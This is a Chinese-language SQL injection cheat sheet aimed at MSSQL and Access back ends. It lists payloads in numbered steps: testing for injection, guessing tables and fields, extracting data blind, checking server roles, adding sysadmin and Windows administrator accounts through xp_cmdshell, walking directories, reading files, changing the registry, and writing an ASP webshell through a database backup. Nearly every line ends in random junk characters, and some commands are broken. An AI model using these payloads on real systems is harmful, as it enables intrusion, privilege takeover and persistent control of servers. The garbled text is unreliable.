1.判断是否有注入;and 1=1 ;and 1=2 3.~h6r5-
2.初步判断是否是mssql ;and user>0 %09*l%,;
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3.注入参数是字符'and [查询条件] and ''=' #'iPDRYy
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' X\'E4
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5.判断数据库系统 j88=f#<
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;and (select count(*) from sysobjects)>0 mssql xfes_v""
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;and (select count(*) from msysobjects)>0 access F7V6-V{_
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 ? KF=W
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ^f6
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 -O /T?H
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9.(1)猜字段的ascii值(access) ~R$[n.Vpk
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 bZK+9IR
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(2)猜字段的ascii值(mssql) +/(|?7i@
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 IuDT=A
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10.测试权限结构(mssql) 1oB$u!6P
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- KZZOi:
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Pwg/Vhfh
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- EZ*t$3.T
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- xg{VP7
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- G~`'E&/
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
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;and 1=(select IS_MEMBER('db_owner'));-- prqT (1
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11.添加mssql和系统的帐户 <3)|44.o&
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;exec master.dbo.sp_addlogin username;-- t[/\KG8
;exec master.dbo.sp_password null,username,password;-- y~x#pC*w
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 87+.pM|t%
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;exec master.dbo.xp_cmdshell 'net user username password n$IWoIdbGN
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- HE@-uh
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- avmcGyL
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ZMP?'0h=
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12.(1)遍历目录 GA(OK-WUd
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;create table dirs(paths varchar(100), id int) v^<<[I2 C
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;insert dirs exec master.dbo.xp_dirtree 'c:\' #dHr&1(
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;and (select top 1 paths from dirs)>0 tN[St
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 0BT;"B1
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(2)遍历目录 &qNP?>C!=
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 8y-e+
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 jkZ_c!
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 OY+!aG@.
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 )lQN)!.)
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ~o}moE/
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13.mssql中的存储过程 @=02
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xp_regenumvalues 注册表根键, 子键 Q~x*bMb.
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 A"Tc^Ij
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xp_regread 根键,子键,键值名 V#p G; ,
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;exec xp_regread qJ#L)
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 N;e;4,_ n
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xp_regwrite 根键,子键, 值名, 值类型, 值 2q2p=H>&
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 (k7;
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xp_regdeletevalue 根键,子键,值名 i)A`Vpn
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 OI)&vQ5k
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 k/$Ja;
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14.mssql的backup创建webshell 4U}.Skzq
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use model c.|sW2/
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create table cmd(str image); dM);LT8@
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insert into cmd(str) values (''); Hj}g1"RA
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backup database model to disk='c:\l.asp'; ^4n2
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15.mssql内置函数 eyI-s9#t
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;and (select @@version)>0 获得Windows的版本号 `XQx$I
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa Y?"v2~;3
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;and (select user_name())>0 爆当前系统的连接用户 v*vub#wP
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;and (select db_name())>0 得到当前连接的数据库 ` 4s#5g
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16.简洁的webshell T>AI0R3
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use model `R4W4h'I
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create table cmd(str image); Y{x[N}h
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insert into cmd(str) values (''); @LwVmR |{
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backup database model to disk='g:\wwwtest\l.asp';